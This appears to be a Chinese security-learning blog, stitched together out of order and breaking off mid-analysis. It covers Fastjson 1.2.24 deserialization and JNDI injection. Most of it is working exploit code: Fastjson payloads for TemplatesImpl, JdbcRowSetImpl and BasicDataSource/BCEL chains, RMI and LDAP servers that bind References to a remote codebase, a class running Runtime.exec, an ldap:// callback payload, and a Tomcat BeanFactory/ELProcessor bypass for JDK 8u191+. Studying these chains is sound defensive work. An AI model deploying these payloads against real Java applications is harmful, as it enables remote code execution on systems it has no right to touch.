final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },
\"_outputProperties\":{ },

";

实现

自己的poc不知道为什么一直无法弹出计算器,看了别的师傅的payload修改后才成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;

public class fastjsonTest {
public static class test{}

public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}


public static void main(String[] args) throws Exception {
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String classPath = "F:\\temporary\\Test.class";
byte[] code= convert(classPath);
String evilCode_base64 = Base64.getEncoder().encodeToString(code);
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }" + "}";
ParserConfig config = new ParserConfig();
System.out.println(payload);
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

}

}

基于JdbcRowSetImpl的利用链

分析

我们找到JdbcRowSetImpl类中的connect方法存在一个lookup方法,可能存在JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

connect方法对this.getDataSourceName()进行了lookup

以下是getDataSourceName的代码,若我们可以控制dataSource,即可实现JNDI注入

虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String getDataSourceName() {
return dataSource;
}

public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

接下来我们找connect方法的调用处,需要是一个getter或者是setter

我们找到了以下两种方法,而只有setAutoCommit方法是可以利用的

而getDatabaseMetaData不可利用的原因是

  1. 返回值为DatabaseMetaData,不为指定类型
  2. 遍历getter方法需要使用parseObject方法,若要调用getter,则在toJSON方法前不能出错

这里我们使用setAutoCommit方法,只要我们传入var1参数,这里我们可以调用connect方法,实现JNDI注入

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

实现

我用yakit的反连服务器工具来生成LDAP反连地址

它的实现十分简单,我们需要设置三个键值对

  • @type : com.sun.rowset.JdbcRowSetImpl
  • DataSourceName : ldap://127.0.0.1:8085/ENbcWWGK
  • autoCommit : false

我们需要设置DataSource,但是它的setter方法为DataSourceName,因此我们需要传入的是DataSourceName

而正如上面所说,我们想要执行connect方法,就要设置传入setAutoCommit的参数为false

1
2
3
4
5
6
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ENbcWWGK\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

这样即可使远程类加载

rmi也是同理,依旧可以造成注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Test {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

不出网

基于BasicDataSource的不出网利用链

分析

在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用

我们这里的核心是BCEL中的一个ClassLoaderloadclass,若这个类的开头命名满足$$BCEL$$,就会创建出一个类,并进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
......

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

现在我们构造一个恶意类,用BCEL的ClassLoader进行类加载,并进行实例化,即可弹出计算器

这里使用encode的原因是在BCEL的ClassLoaderloadclass中,有一个方法createClass,其中对传入的参数进行了一次decode,因此我们需要手动encode一次才不会出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
}
......
return clazz;
}

接下来就要找到调用该类loadclass的地方,一直向上找最终找到getter或者是setter

我们找到tomcat中的BasicDataSource类中的createConnectionFactory

driverClassLoader不为空,则使用该类加载器对driverClassName进行加载

而正好这两个属性都有对应的setter方法,是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (final ClassNotFoundException cnfe) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (final Exception t) {
final String message = "Cannot load JDBC driver class '" + driverClassName + "'";
logWriter.println(message);
t.printStackTrace(logWriter);
throw new SQLException(message, t);
}
}

......
return driverConnectionFactory;
}

现在我们向上找,知道找到可利用的getter或setter方法

createDataSource方法调用了createConnectionFactory

getconnection调用了createDataSource

getconnection就是一个可用的getter方法

1
2
3
4
5
6
7
8
9
10
protected DataSource createDataSource() throws SQLException {
......
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
......
}

public Connection getConnection() throws SQLException {
......
return createDataSource().getConnection();
}

成功加载恶意类

实现

@type设为org.apache.tomcat.dbcp.dbcp2.BasicDataSource,对driverClassNamedriverClassLoader进行赋值,其中Name要符合$$BCEL$$,而Loader要通过JSON来还原一个类加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class");
String code = Utility.encode(bytes,true);

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parse(s);
System.out.println(code);

}
public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}
}

最后成功利用,执行弹窗

总结

总结一下漏洞发生在反序列化的点,也就是 Obj.parseObj.parseObject 这里。必须的是传参要带入 class 的参数

PoC 是通过 String 传进去的,要以 @type 打头

漏洞的原因是反序列化的时候去调用了 getter 和 setter 的方法

FastJson基础

FastJson 简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程

  • 所以可以简单的把 json 理解成是一个字符串

环境配置

  • JDK7u21
  • Fastjson 1.2.24
1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

简单小demo

定义一个Person类,为其设置setter/getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com;

public class Person {
private String name;
private int age;

public Person() {
System.out.println("Person");
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}

序列化

写一个序列化的代码,调用JSON.toJsonStirng()来序列化Person对象

1
2
3
4
5
6
7
8
9
10
public class JSONUser {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";

Person person = new Person();
person.setAge(18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
}
}

反序列化

写一个反序列化的代码,调用JSONObject.parseObject()来反序列化Person对象

(当需要还原出private的属性时,需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参,当然一般没人给私有属性加setter)

1
2
3
4
5
6
7
8
public class JSONUser {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";

Object parse = JSON.parse(s);
System.out.println(parse);
}
}

小知识

Fastjson反序列化采用两个反序列化方法,分别为
  • JSON.parseObject()
  • JSON.parse()

parseObject():返回fastjsonJSONObject

parse():返回我们的类

下面我们可以看到,parseObject()返回parseObject类,而<font style="color:rgb(80, 80, 92);">parse()</font>返回我们的User类

但是可以通过在parseObject参数中传入类,达到和parse相同效果(也可以传入Student.class)

1
parseObject(input,Object.class)

Fastjson反序列化漏洞

fastjson在反序列化字符串时,会寻找@type中的类,在反序列化过程中会自动调用该类的setter和getter方法,但并不是所有getter和setter都会被调用

以下是满足条件的setter和getter的条件(可以根据源码分析出来,这里不多说了):

满足条件的setter

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

漏洞原理

Fastjson拥有自己的一套实现序列化和反序列化的机制,针对不同版本的Fastjson反序列化漏洞,原理都是一样的,只是针对不同黑名单的绕过利用

攻击者传入一个恶意构造的JSON字符串,Fastjson在反序列化字符串时,得到恶意类并执行恶意类的恶意函数,导致恶意代码执行

我们看之前的代码Demo,他会调用该类的 构造方法、getter、setter方法,若这些方法中存在危险方法的话,即存在Fastjson的 反序列化漏洞

1
2
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";
Object parse = JSON.parse(s);

POC写法

一般Fastjson反序列化的POC写法如下
1
2
3
4
5
{
"@type":"xxx.xxx.xxx",
"xxx":"xxx",
...
}

小结

在学习过程中,发现fastjson的好多东西都没学到,回来重新学习一下,前两天有点忙,所以博客没来得及更新QAQ

JNDI专题

简介

JNDI是什么

**JNDI(Java Naming and Directory Interface,Java命名和目录接口)**是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说就是一个索引库,将一个名称对应到一个对象(或者属性)上面,并且可以通过指定名称找到相应对象

作用:可以实现动态加载数据库配置文件,从而保持数据库代码不变动等

结构

JDNI包含在JavaSE平台中。要使用JNDI,必须拥有JNDI类和一个或者多个服务器提供者。JDK包括以下命名/目录服务的提供者:

  • 轻量级目录访问协议(LDAP)
  • 通过对象请求代理架构(CORBA)通过对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

在JavaJDK中提供了5个包,有以下几个

1
2
3
4
5
6
7
8
9
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

JNDI简单利用

实现JDNI,我们首先也要把RMIServer启动起来
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjlmpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

后续将JNDIRMIServer也启动起来

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjlmpl());
// Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

最后通过客户端的远程调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

分析

我们不能像RMI之前那样来调用了,但调用的方式其实差不多

首先要做的是创建一个初始化上下文

然后再去寻找,我们需要把协议地址传入

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

我们想,他这里会不会是调用的原生rmi的方法,我们跟进去看一下

最后走到了RegistryContext#lookup的方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里我们可以看到,调用的是RegistryImpl_Stub的lookup方法

那我们就能知道了,实际这里调用的就是rmi原生的lookup方法

如果说服务端lookup中的参数可控的话,我们就可以用它来查询我们构造的恶意对象

JNDI结合RMI

引用对象

在目录存储对象中支持以下几种对象
  • java可序列化对象
  • 引用对象
  • 属性对象
  • 远程对象
  • CORBA对象

平时我们所说的JNDI所指的是引用对象

我们先来看看,引用对象创建的几个参数

第一个是类名,第二个是工厂名,第三个是工厂的位置

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

实现

来看一下它的实现,创建一个引用对象,将TestRef类和TestRef工厂绑定到http://localhost:7777下面,再将引用对象绑定到rmi://localhost:1099/remoteObj

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

我们这里构造一个恶意类,写入可以弹出计算器的恶意代码

编译好后放在一个文件夹下,开启一个http服务

1
2
3
4
5
public class Test {
public Test() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后用JNDI客户端去调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

最终成功弹出计算机

小tip

由于调用恶意类的构造函数实在客户端(被攻击端)上执行,所以在编译时候,恶意类的开头不可以带package,否则会报出NoClassDefFoundError错误。

流程分析

其中具体的流程我们也来跟一下

刚才我们也说了,实际它是调用rmi原生的lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

从lookup方法得到对象后,发现是一个ReferenceWrapper_Stub对象,而我们实际绑定的是Reference对象

绑定的是Reference而查看的时候是ReferenceWrapper_Stub,那问题肯定出在rebind方法上

1
2
3
4
5
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}

走入函数里看一下,在调用RegistryImpl_Stubrebind方法时候,名字还是我们传入的名字,而传入的方法是经过了encodeObject之后的对象,也就是对对象进行了一层封装

1
2
3
4
5
6
7
8
9
10
11
public void rebind(Name var1, Object var2) throws NamingException {
if (var1.isEmpty()) {
throw new InvalidNameException("RegistryContext: Cannot rebind empty name");
} else {
try {
this.registry.rebind(var1.get(0), this.encodeObject(var2, var1.getPrefix(1)));
} catch (RemoteException var4) {
throw (NamingException)wrapRemoteException(var4).fillInStackTrace();
}
}
}

我们看一下encodeObject函数的逻辑

如果该对象是一个Reference对象的话,那么就封装进ReferenceWrapper

1
2
3
4
5
6
7
8
9
10
11
12
private Remote encodeObject(Object var1, Name var2) throws NamingException, RemoteException {
var1 = NamingManager.getStateToBind(var1, var2, this, this.environment);
if (var1 instanceof Remote) {
return (Remote)var1;
} else if (var1 instanceof Reference) {
return new ReferenceWrapper((Reference)var1);
} else if (var1 instanceof Referenceable) {
return new ReferenceWrapper(((Referenceable)var1).getReference());
} else {
throw new IllegalArgumentException("RegistryContext: object to bind must be Remote, Reference, or Referenceable");
}
}

接下来我们看一下客户端lookup的逻辑

RegistryContextlookup方法中,我们看到了调用rmi原生lookup的地方,将找到的对象存入var2中(ReferenceWrapper_Stub

在该方法的最后,我们可以看到想对应的decodeObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里这个方法就是将接受到的ReferenceWrapper_Stub对象,变为我们开始创建的Reference对象

我们快走出RegistryContext类了,但是还是没有对恶意类进行初始化,也就是说,类加载机制是和容器协议无关

return时会走入NamingManagergetObjectInstance方法内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

我们看到NamingManager#getObjectInstance,其中有个getObjectFactoryFromReference方法是比较重要的,从名字可以看出来,从引用中得到工厂对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

从该方法中可以找进行工厂类的类加载位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
......
}

进入loadClass方法,首先使用的类加载器是AppClassLoader,在本地去寻找,但是本地是肯定找不到的,再近一步

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

没找到的话,会从codebase中寻找,找到的话,就会用codebase去进行类加载

1
2
3
4
5
6
7
8
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

这里新建了一个URLClassLoader,将codebase传入

1
2
3
4
5
6
7
8
9
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

在return中的loadClass中,会去cl中的url路径下找类,然后进行加载

同时这个加载也是进行初始化的加载,若我的恶意代码写在静态代码块的地方,现在计算机已经弹出来了,但是我们的恶意代写在的是构造函数中,必须需要实例化

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

而实例化刚好在getObjectFactoryFromReference之中,实例化后就执行了恶意的代码

1
2
3
4
5
6
7
8
9
10
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
......

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

总结

这里存在两个攻击面:
  1. rmi原生问题(这里就没有演示了)
  2. jndi注入

JNDI结合LDAP

LDAP不是java的东西,而是一个通用协议

在jdk8u121后,修复了RMI和COBAR的攻击点,唯独漏下一个LDAP(8u191),所以我们接下来看一下

实现

1
2
3
4
5
6
7
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
}
}

这里我们使用apache Directory Studio来创建一个LDAP服务

启动起来**(这里搞了好久,最后更换jdk11才成功启动)**

我们这里可以看到,已经成功绑定上去了

然后我们创建一个客户端,使用lookup方法去查找一下(还和之前一样,在TestRef.class的位置开启一个http服务)

1
2
3
4
5
6
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext ic = new InitialContext();
ic.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

将LDAP客户端运行起来,就成功弹出了计算器

分析

经过一系列的lookup调用,最终走到了LdapCtx#c_lookup中,通过调用DirectoryManager.getObjectInstance,走出协议对应的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
......

try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}

走入DirectoryManager#getObjectInstance后,我们发现和rmi的的后半段是基本一样的,进入getObjectFactoryFromReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;

} ......
}

这里就和rmi一样了,首先进行本地类加载,若在本地没有找到,则从codebase中查找,若找到则进行类加载,最后进行类的初始化,触发构造函数,弹出计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

JDK高版本绕过

JDK8u191之后

本地恶意CLass绕过

在jdk8u191后,LDAP已经修复,在进行codebase远程类加载时候,添加了一个限制条件

如果trustURLCodebase为true时,才能进行远程类加载

更换高版本后,原来的给攻击既不弹计算器,也不会报错

···

既然他不能远程加载对象了,那我们可以想想,是否有本地工厂,可以利用呢?

该恶意Factory必须实现javax.naming.spi.ObjectFactory接口,并实现getObjectInstance()方法

在tomcat的核心包中,存在着一个BeanFactory,它的getObjectInstance方法存在着反射调用的地方,如果说我们这里参数可控,则可以造成代码执行,因此我们这个高版本绕过,是基于tomcat环境的(方法很长,大部分省略)

1
2
3
4
5
6
7
8
9
10
11
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
.......
try {
method.invoke(bean, valueArray);
}
......
}
......
}
实现
我在这里起一个RMI环境
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

然后起将一个ResourceRef绑定到remoteObj上面,使用客户端的lookup方法进行查询,即可执行恶意代码

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIByPass {
public static void main(String[] args) throws Exception {

InitialContext initialContext= new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ElProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj",ref);
}
}

分析

与前面的调用相类似,经过一些lookup方法的调用,和decodeObject方法过后,走到NamingManager#getObjectInstance中,执行getObjectFactoryFromReference方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
